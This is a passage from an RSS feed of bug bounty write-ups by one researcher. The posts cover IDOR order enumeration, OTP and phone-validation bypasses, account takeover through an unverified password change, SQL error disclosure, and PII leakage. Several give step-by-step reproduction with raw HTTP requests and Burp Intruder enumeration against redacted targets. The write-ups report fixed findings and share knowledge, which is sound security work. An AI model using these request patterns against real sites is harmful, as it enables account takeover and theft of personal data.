user from account </em><strong><em>A</em></strong><em>.</em></blockquote><blockquote><em>Observe that the application URL containing an order id : </em><strong>https://redacted.com/order-editor/redacted.com/123456789#/</strong></blockquote><blockquote><em>Now replace the order id value of user account B 987654321. the final URL looks like this : </em><strong>https://redacted.com/order-editor/redacted.com/987654321#/</strong></blockquote><blockquote><em>Observe that the application showing </em><strong><em>user B</em></strong><em> order summary.</em></blockquote><blockquote><em>Click on view order status and observe that the user B entire PII data is being leaked.</em></blockquote><blockquote><em>Intercept the request and send this to Intruder then select the order id value and then select the attack type as “</em><strong><em>Sniper</em></strong><em>” then select attack type as “</em><strong><em>Numbers</em></strong><em>” give the value you like and start the attack.</em></blockquote><blockquote><em>Once the attack is complete open the requests with </em><strong><em>200 OK</em></strong><em> response in the browser for better view.</em></blockquote><blockquote><em>Observe that we can now view entire order information and User information.</em></blockquote><p><strong>Timeline:</strong></p><p>Reported on 10–12–2022</p><p>Triaged and awarded on 11–12–2022</p><p><strong>Thank you for reading,</strong></p><p><strong>Let’s catch up in next write-up GTG!!</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/498/0*-sOAupoh8x1zNFtt.gif" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/1*kW2Z3TriqjhQAdd2aU1G7Q.png" /></figure><p>You can find me on <a href="https://in.linkedin.com/in/shesha-sai-c-18585b125"><strong>LinkedIn</strong></a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=3ad0a4ef4638" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Worst Bug bounty sites you should avoid]]></title>
            <link>https://sheshasai.medium.com/worst-bug-bounty-sites-you-should-avoid-a676c2db4692?source=rss-279cf66f3bb6------2</link>
            <guid isPermaLink="false">https://medium.com/p/a676c2db4692</guid>
            <category><![CDATA[vulnerability]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <dc:creator><![CDATA[shesha sai_c]]></dc:creator>
            <pubDate>Sun, 08 May 2022 05:43:17 GMT</pubDate>
            <atom:updated>2026-04-08T03:16:51.762Z</atom:updated>
            <content:encoded><![CDATA[<h3>Bug bounty sites you should avoid</h3><p>Hi Hunters!</p><p>In this write-up I&#39;m not gonna talk about the sharing about bug bounty write-up.</p><p>Today I&#39;m going to share with all of you, about some of the sites that I have faced during my bug bounty journey and which you should avoid doing hunting on to stop wasting your time.</p><p>These bug bounty sites does not pay bounty for number of reasons some of them are as follows:</p><p>Reasons:</p><ol><li>They take your report and silently resolve the issue and does not respond you forever.</li><li>They say that your report is a duplicate even though its not.</li><li>They say we are rewarding you the payment of XXX for the bug and the bounty will be paid after xx days. but they never.</li></ol><p>Reason could be one of many and the sites that you should avoid are as follows:</p><p><a href="https://t.co/0mzkxvwkq2">patron</a></p><p>Evidence is as follows:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*tiDR2ujL557t-QYvJTtu2g.png" /></figure><p>The above evidence shows that the team has never paid me bounty and they don’t even provide any response.</p><p><a href="https://radar.com/documentation/vulnerability-disclosure-policy">Radar.com</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*NuJsYSik_uWkQcfqkpQ5Bg.png" /></figure><p>The above program radar.com responded me saying that the response for the report will be done via hackerone by the end of October 31, 2021 but we are here in the year 2022 but haven’t received any response either by hackerone or by mail.</p><p><a href="https://medium.com/u/9bc5e4e8c5be">Coviu</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*VbsuXIlygUMZS-Mygav6ZQ.png" /></figure><p>The Coviu program responded back to me on year 2021 and they are still haven’t responded back yet. have no hope that they do either.</p><p><a href="https://www.proximus.com/investors/regulatory-information.html">Proximus.com</a></p><p>The below screenshots belongs to the proximus.com subdomains which can be found using ASN number with amass tool or using crt.sh</p><figure><img alt="Amazon s3 bucket takeover" src="https://cdn-images-1.medium.com/max/828/0*lQRFtIuXN7tEBQ0N" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/864/0*E-QnQ0VQcfJdA-8D" /><figcaption>S3 bucket takeover remediated</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*H3KWZX2j8Q_wVbzG" /><figcaption>phpmyadmin console publicly available</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/828/0*C02W8oKh5zTEYSvB" /><figcaption>They have remediated phpmyadmin console access</figcaption></figure><p>The Proximus team has remediated all the finding reports, later that after i tried to approach them over twitter and after a lot of mails they claimed that these domains are out of scope where this could have resulted in high impact to the organizations if left in the wild.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*dGGSBP4rtRNCK51iTIk78Q.png" /><figcaption>The initial report</figcaption></figure><p>The team has cleverly remediated and were kept silent about this when i checked back they have remediated and when i asked why they have responded as below.</p><p>My question was if they are about to decom why remediate them quitely?</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*1l1KwaD3KLvT1i8WMEi44w.png" /><figcaption>They have responded that they have remediated those findings and mentioned they are about to decom.</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*RmSVWQUp-Vetjta_jKx88g.png" /><figcaption>The team responded in this manner</figcaption></figure><p><a href="https://medium.com/u/e006d938c17a">ReadMe.io</a></p><p><a href="https://medium.com/u/d0b13dffe0df">Teamup Calendar</a></p><p>Evidences loading…</p><p>I would like to invite all the bug bounty hunters to share their similar stories as these with evidence, so that other bug hunters can avoid this type of programs and stop wasting their time and efforts. I came to know that there are plenty of bug hunters who just keep quiet and does not complain.</p><p>We are in this together lets help each other by sharing programs like this.</p><p>Hope you all take this as a good cause for bug bounty hunters, let us all work together to build a great bug experience to all bug hunters.</p><p>Thanks for taking your time. Peace!!!</p><p>You can reach out to me and DM me your stories with evidence on <a href="https://in.linkedin.com/in/shesha-sai-c-18585b125">LinkedIn</a> and <a href="https://twitter.com/Cyb3r_4ss4s1n">Twitter</a> and i will share in this very blog along with my story.</p><p>if this helped you <a href="http://buymeacoffee.com/Sheshasaic">buymeacoffee</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/1*kW2Z3TriqjhQAdd2aU1G7Q.png" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=a676c2db4692" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Whatsapp does not require OTP]]></title>
            <link>https://sheshasai.medium.com/whatsapp-does-not-require-otp-794f94e0d62b?source=rss-279cf66f3bb6------2</link>
            <guid isPermaLink="false">https://medium.com/p/794f94e0d62b</guid>
            <category><![CDATA[facebook]]></category>
            <category><![CDATA[whatsapp]]></category>
            <category><![CDATA[vulnerability]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <dc:creator><![CDATA[shesha sai_c]]></dc:creator>
            <pubDate>Mon, 04 Apr 2022 04:05:58 GMT</pubDate>
            <atom:updated>2022-04-04T04:06:56.354Z</atom:updated>
            <content:encoded><![CDATA[<p>NOTE: This finding was declared as feature by Facebook team so i would like to share this new feature with everyone.</p><p>Recently when i was testing for some bugs in WhatsApp i found that WhatsApp does not require OTP while login. Yes! you heard me right it does not ask for OTP.</p><p>The scenario is very simple, login to your WhatsApp account using OTP. Now just get back to the home page and uninstall the WhatsApp “DO NOT LOGOUT OF THE ACCOUNT” once done go to playstore and download WhatsApp again and just open it and provide the same phone number and the OTP is not required to login again.</p><p>How to Reproduce:</p><ol><li>Login to the WhatsApp using the OTP with 1234567890</li><li>Donot logout of the application and go ahead uninstall the application completely from the device</li><li>Go to playstore and download the app again</li><li>give the same number 1234567890 and it does not ask for a OTP</li><li>congratulations you have logged in without OTP</li></ol><p>PS: please treat this as a feature which was officially declared by whatsapp team. we hope they keep giving us this features for better Confidentiality, Integrity and Availability.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*K-__1AnQYbM-UEBNJl6cMw.png" /><figcaption>whatsapp responded that this is a intentional functionality</figcaption></figure><p>Peace!! hope you enjoyed it.</p><p>Thanks for your valuable time.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=794f94e0d62b" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Improper phone number validation to account takeover]]></title>
            <link>https://sheshasai.medium.com/improper-phone-number-validation-to-account-takeover-f8b78b08ed05?source=rss-279cf66f3bb6------2</link>
            <guid isPermaLink="false">https://medium.com/p/f8b78b08ed05</guid>
            <category><![CDATA[vulnerability]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <dc:creator><![CDATA[shesha sai_c]]></dc:creator>
            <pubDate>Mon, 27 Sep 2021 12:16:59 GMT</pubDate>
            <atom:updated>2024-10-13T04:31:40.333Z</atom:updated>
            <content:encoded><![CDATA[<p>Hi Everyone!</p><p>Hope you are doing well. I am back with another bug.</p><p>Whoami: I am Shesha Sai C, Im a bug bounty hunter and security researcher</p><p>Let us consider the site as redacted.com as the program does not support disclosures.</p><p>I know lot of you guys think this as such a drag but this blog is not about the target, it is about knowledge sharing.</p><p>Lets Dive in!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/512/0*nHNBZVHB5x-coK9B.gif" /></figure><p>The application does not have much of scope to hunt on all it contains a signup and login page with phone number that shares OTP, No PII disclosure all technologies are up-to-date. Damn!!!! i know the feeling and i was like</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/220/0*LOsT0MpX6ol2RPu0" /></figure><p>Now, time where the story begins the signup page contain that the application allows only users from Russia to signup or enroll for an account, but we don’t have any Russian numbers.</p><p>Trail 1: trying to bypass this using my own number in the place of Russian ph number — no luck!, it accepts only numbers in Russian format</p><p>Trail 2: Tried with intercepting the Russian number field in burpsuite and without sending this to repeater changed the country code to +91 and my ph and send the request — guess what! it worked, i received a call for OTP validation</p><p>I have given the OTP and clicked on Verify it blocked me</p><p>Trail 3: Tried with intercepting both the OTP generation request and OTP verification request in burpsuite and changing the number and country code- It Worked Amigos!!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/480/0*GDUlM-W1C-ImLfFd.gif" /></figure><p>Steps to Reproduce:</p><ol><li>Visit the signup page: <a href="https://redacted.com/signup">https://redacted.com/signup</a></li><li>Give any Russian phone number you can get it from receive-sms-online</li><li>Intercept the request and change it to your number and you will receive a call with OTP</li><li>Input this OTP and intercept on -&gt; click on verify and again change the country code and number</li><li>You’re logged in as the Russian number user and same works with Login.</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/500/0*0wXnm7llLhQLrFow" /></figure><p>Tip: Once a great man said when you’re stuck take a cup of boost and try again- PS: it is me</p><p>Timeline: This bug was submitted 3 months back and was remediated.</p><p>Hope you learned something new and let’s catch up in next story.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/1*kW2Z3TriqjhQAdd2aU1G7Q.png" /></figure><p>If you have any queries please reach out to me on <a href="http://linkedin.com/in/shesha-sai-c-18585b125">LinkedIn</a> or <a href="https://twitter.com/cyb3r_4ss4s1n">Twitter</a> i will be happy to help.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=f8b78b08ed05" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[How i would have taken over 5 crore accounts]]></title>
            <link>https://sheshasai.medium.com/how-i-would-have-taken-over-5-crore-accounts-ef7cfbb5e830?source=rss-279cf66f3bb6------2</link>
            <guid isPermaLink="false">https://medium.com/p/ef7cfbb5e830</guid>
            <category><![CDATA[ethical-hacking]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[vulnerability]]></category>
            <category><![CDATA[pentesting]]></category>
            <dc:creator><![CDATA[shesha sai_c]]></dc:creator>
            <pubDate>Tue, 30 Mar 2021 18:34:39 GMT</pubDate>
            <atom:updated>2024-10-13T04:28:06.954Z</atom:updated>
            <content:encoded><![CDATA[<p>Hello my bounty family, hope you guys are doing great. I&#39;m not posting any bounty information but it doesn’t mean im not doing any hunting.</p><p>thanks for all the love and support and keeping tabs on me about why im not posting any bounty screenshots.</p><p>Getting attention = Asking for troubles.</p><p>But in this write-up i wanted to share about a finding i found recently on a popular branded website where im not going to share the domain information — pfft Obviously…</p><p>Let’s Dive in.</p><p>The write-up is about a bug which was discovered in the past 4 days which allowed me to take control over more than five crore accounts- yup .what you just read is absolutely correct.</p><p>Bug details:</p><ol><li>IDOR on every page</li><li>No Rate limiting</li><li>No old password verification</li></ol><p>This report does not contain any screenshots or any information revealing details about the application so please don’t expect any</p><p>Okay wait.. what?? How these bugs are chained together to own 5 crore accounts?</p><p>Ans:</p><p>Let’s start with IDOR:</p><p>The application is vulnerable to <a href="https://portswigger.net/web-security/access-control/idor">IDOR</a> (Insecure Direct Object Reference) which can allow an attacker to change the profile information of any other user just by changing the user id in the post request.</p><p>i have created some user accounts for testing they look something like this (5xxxxx71, 72, 73, 74, 75)</p><p>Every time you create an new account the count will be keep on increasing this is where i have validated and verified how the user ids are assigned for every account.</p><blockquote>POST /user_profile/5xxxxx71/edit</blockquote><blockquote>Host: redacted.com</blockquote><blockquote>…</blockquote><blockquote>fn=test&amp;ln=test2&amp;email=test@test.com&amp;DOB=12/12/1912</blockquote><p>An attacker can use this above POST request to change the user details of another user just by changing the user id from 71 to 72 and sending the request where there is no validation on the server side and i was able to change the user details of another user.</p><p>Wait… this does not explain the title “5 Crore…” Hold your horses my friend.</p><p>I wanted to increase the impact as recently i got bored with the bugs i have reported.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1000/0*0esWCG2dpiYxGhPb.gif" /></figure><p>So i started looking for other endpoints and luckily the application contain the change password functionality.</p><p>This change password does not validate the old password and allows the users to change the password just by providing “New password” and “Confirm New password”</p><p>This is where my Evil mind awaken</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/500/0*m2zcGC0I9kblveAA.gif" /></figure><p>I have used this change password request</p><blockquote>POST /user_profile/5xxxxx71/change_password</blockquote><blockquote>Host: redacted.com</blockquote><blockquote>…..</blockquote><blockquote>newpasswd=hacked123&amp;vrfypasswd=hacked123</blockquote><p>now change the user id of another user in “change password” request as shown below</p><blockquote>POST /user_profile/5xxxxx72/change_password</blockquote><blockquote>Host: redacted.com</blockquote><blockquote>….</blockquote><blockquote>newpasswd=hacked123&amp;vrfypasswd=hacked123</blockquote><p>We got 200 OK response and verified the password by logging into the victim account.</p><p>Successful Account takeover.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/500/0*EnwWAlZFj8fzgZpf" /></figure><p>The application does not contain rate limit protection so send this to request to Intruder. If you remember, i mentioned that i have created 5 accounts for testing.</p><p>Fire up the intruder and assign our testing accounts user ids as the payload and start the attack.</p><p>I was able to successfully takeover the user accounts without their interaction.</p><p>How i was able to verify that there is no rate limit on password change page?</p><p>Ans: i have tested the same by changing the password of my own account like 200 times with intruder.</p><p>Note: The same bug can also be used to PII Data Leakage just change the request to GET and remove the parameters, which leaks the information about the user like email ID and orders placed, address information lets not get into more details.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/500/0*dV5KGZU5s8vA2sNE" /></figure><blockquote>GET /user_profile/5xxxxx71</blockquote><blockquote>Host: redacted.com</blockquote><blockquote>……</blockquote><p>Timeline:</p><p>Bug found and reported on March 29, 2021</p><p>Reward confirmed by the security team</p><p>Takeaways:</p><ol><li>Keep your eyes open for other endpoints as well, try to increase the impact by using the other vulnerabilities for your advantage.</li><li>Always try changing the POST request to GET request and observe the response.</li><li>Learn at-least one new thing everyday</li></ol><p>Thanks for reading!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/1*kW2Z3TriqjhQAdd2aU1G7Q.png" /></figure><p>You can find me on <a href="https://mobile.twitter.com/cyb3r_4ss4s1n">Twitter</a> and <a href="https://in.linkedin.com/in/shesha-sai-c-18585b125">LinkedIn</a> don&#39;t hesitate to reach out to me if you have any doubts.</p><p>HAPPY HUNTING</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=ef7cfbb5e830" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Emoji error handling]]></title>
            <link>https://sheshasai.medium.com/emoji-error-handling-ba11f1bdb8a6?source=rss-279cf66f3bb6------2</link>
            <guid isPermaLink="false">https://medium.com/p/ba11f1bdb8a6</guid>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[vulnerability]]></category>
            <dc:creator><![CDATA[shesha sai_c]]></dc:creator>
            <pubDate>Sat, 19 Sep 2020 06:02:52 GMT</pubDate>
            <atom:updated>2024-10-13T04:23:03.958Z</atom:updated>
            <content:encoded><![CDATA[<p>Hello hunters! hope you are safe and doing well in this pandemic situation.</p><p>This write up is all about a bug i recently found in an bounty program lets call it as redacted.com- because the program does not allow public disclosure.</p><p><strong>let’s dive in!</strong></p><p>i started testing the redacted.com for XSS vulnerabilities i tried to bypass the waf to trigger an alert and also tried with blind XSS but of no use.</p><p>then i thought why not use emoji as payload to check the response i tried the emoji XSS payload from here: <a href="https://hackerone.com/reports/96337">hackerone</a> , but no luck it is escaping all the data.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/336/0*Dhind0frjCq72zl8.gif" /></figure><p>so i tried only the emoji character to see how the site is going to respond.</p><p>BOOM! it worked and started throwing the error messages with sql code used by the application.</p><p><strong>Steps to reproduce:</strong></p><ol><li>visit: <a href="https://redacted.com/profile_update">https://redacted.com/profile_update</a>.</li><li>in the input field below give 😯.</li><li>click on save and done.</li><li>you will get the error disclosing the sql code as shown in the below screenshot.</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_0XuD9P9pD8vVlVTA-D4Gg.png" /><figcaption>sql statements in the error response.</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/220/0*r8qzkQr8SdT3AjXI.gif" /></figure><p>Tip:</p><ol><li>when you get stuck take a step back and start over again.</li><li>Think out of the box, understand the application and how it handles your input.</li><li>sometimes you can also use the ancient symbols or characters as payload.</li></ol><p>Bounty 🤑: $$$ awarded</p><p>i have tried for sql injection along with time-based, it didn’t worked. if you have any ideas that you can increase more impact to this i would love to hear them, please comment below.</p><p>if you feel the write-up useful give me a clap.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/1*kW2Z3TriqjhQAdd2aU1G7Q.png" /></figure><p>if you have any questions reach out to me <a href="https://mobile.twitter.com/Cyb3r_4ss4s1n">cyb3r_4ss4s1n</a></p><p>Stay Home Stay Safe.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=ba11f1bdb8a6" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[One end point = Two High severity bugs]]></title>
            <link>https://sheshasai.medium.com/one-end-point-two-high-severity-bugs-18d16efdec13?source=rss-279cf66f3bb6------2</link>
            <guid isPermaLink="false">https://medium.com/p/18d16efdec13</guid>
            <category><![CDATA[vulnerability]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[vulnerability-assessment]]></category>
            <category><![CDATA[ethical-hacking]]></category>
            <dc:creator><![CDATA[shesha sai_c]]></dc:creator>
            <pubDate>Thu, 25 Jun 2020 16:19:55 GMT</pubDate>
            <atom:updated>2024-10-13T04:22:18.446Z</atom:updated>
            <content:encoded><![CDATA[<h3>One end point = Two bugs</h3><p>Hello my fellow hunters!..hope you all are doing well, this is another write-up about the bugs i found recently with one endpoint.</p><p>To those who don’t know me i’m a 70% bug bounty hunter and 30% security researcher and my name is Shesha Sai C.</p><p>I would like to share some tips to those who are out there</p><p>If a person is new to something and asking for guidance or makes a mistake help him to identify it,Instead of asking him have you done pen test before, remember everyone should start somewhere and you also made mistakes and you started with the same.</p><p>DON’T JUDGE A BOOK BY ITS COVER.</p><p>Enough with the talk lets just dive into the bugs.</p><p>It is a private program so lets say it as redacted.com and let’s move on to the bug</p><p><strong>Vulnerability 1: IDOR</strong> -one of my favourites</p><p><strong>Summary:</strong> IDOR name itself suggests insecure direct object reference where we are going to abuse the user id to change content belongs to other users</p><figure><img alt="Example for idor" src="https://cdn-images-1.medium.com/max/1024/0*n5Y0b6-_G5Ghx3Es.png" /></figure><p>as the scenario mentioned in the above image, i was able to change the user information of other users by changing the user id with post method and which leads to take over the user account, which does not have option like password protection on changing mail id</p><p><strong>How to reproduce:</strong></p><p>visit redacted.com create two accounts (you don’t wanna mess with other legit users)</p><p>visit the profile change information of USER A and catch the request in burpsuite and send this to repeater</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*TfFym_pXaatw9T_lGaSeXA.png" /><figcaption>but contains the USER A request browser contains user B account</figcaption></figure><p>Here if you notice my burp contains the request belongs to my account A and in the browser contains account with User B</p><p>now im going to change the username from seriously idor to my payload of &lt;h1&gt;You are &lt;/strong&gt;…….</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/464/1*v-4QTjmj1TDh8nZXE_woGg.png" /><figcaption>44 belongs to user A</figcaption></figure><p>as this is my user A request with the user id as 44(User A) as shown in the image above , lets change the user id of my another account with 46(User B).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*04Z0laxLW0laOXfPo8A2fQ.png" /><figcaption>image containing user id of victim</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*TfFym_pXaatw9T_lGaSeXA.png" /><figcaption>contains the name value that i wanted to change with the victim user account</figcaption></figure><p>the above images contains a request with user id of the User B</p><p>let’s give it a Go and check the response of the burpsuite and refresh the browser which contains the User B account then you can see that User B account details are changed.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*QqzHuOMi5ew8t_8zDwv7iA.png" /></figure><p>when i found this bug i was like</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/351/0*FH5RtvY3w6h4OkLO.gif" /></figure><p>Later that devil inside me just woke up saying…..” There is more” when I heard it I was like</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/500/0*2KKQGbmG9rgZd724.gif" /></figure><p><strong>Vulnerability 2: PII</strong> (Personally identifiable information)</p><p>PII refers to the Personally identifiable information which contains the sensitive information that belongs to an user which should not be shared or disclosed to any other users .</p><p>let’s just break down and vulnerability</p><p>visit the application and login to your account then visit profile page and refresh the page and catch the request in the burpsuite and send this to repeater</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*iJFS4uJ3Q1YiXhaQC-eIXw.png" /><figcaption>image contains id of the User A</figcaption></figure><p>if you observe the GET request it contains the user id with 44 this is the User A account , if you check the response you can see the content with mail, phnum, address etc</p><p>now let’s change the user id to 46 (User B) and send the request, the response contains the information belongs to the vicitm (User B).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*KlyByoRI3wAHdS2tmPK10g.png" /><figcaption>image for sensitive information</figcaption></figure><p>it feels so good that i was like</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/220/0*PR1FWgt4CyOdPQvk.gif" /></figure><p>Awarded Bounty $$$</p><p>if you feel this helpful</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/1*kW2Z3TriqjhQAdd2aU1G7Q.png" /></figure><p>give me a clap and stay safe</p><p>if you have any questions reach out to me <a href="https://mobile.twitter.com/Cyb3r_4ss4s1n">cyb3r_4ss4s1n</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=18d16efdec13" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>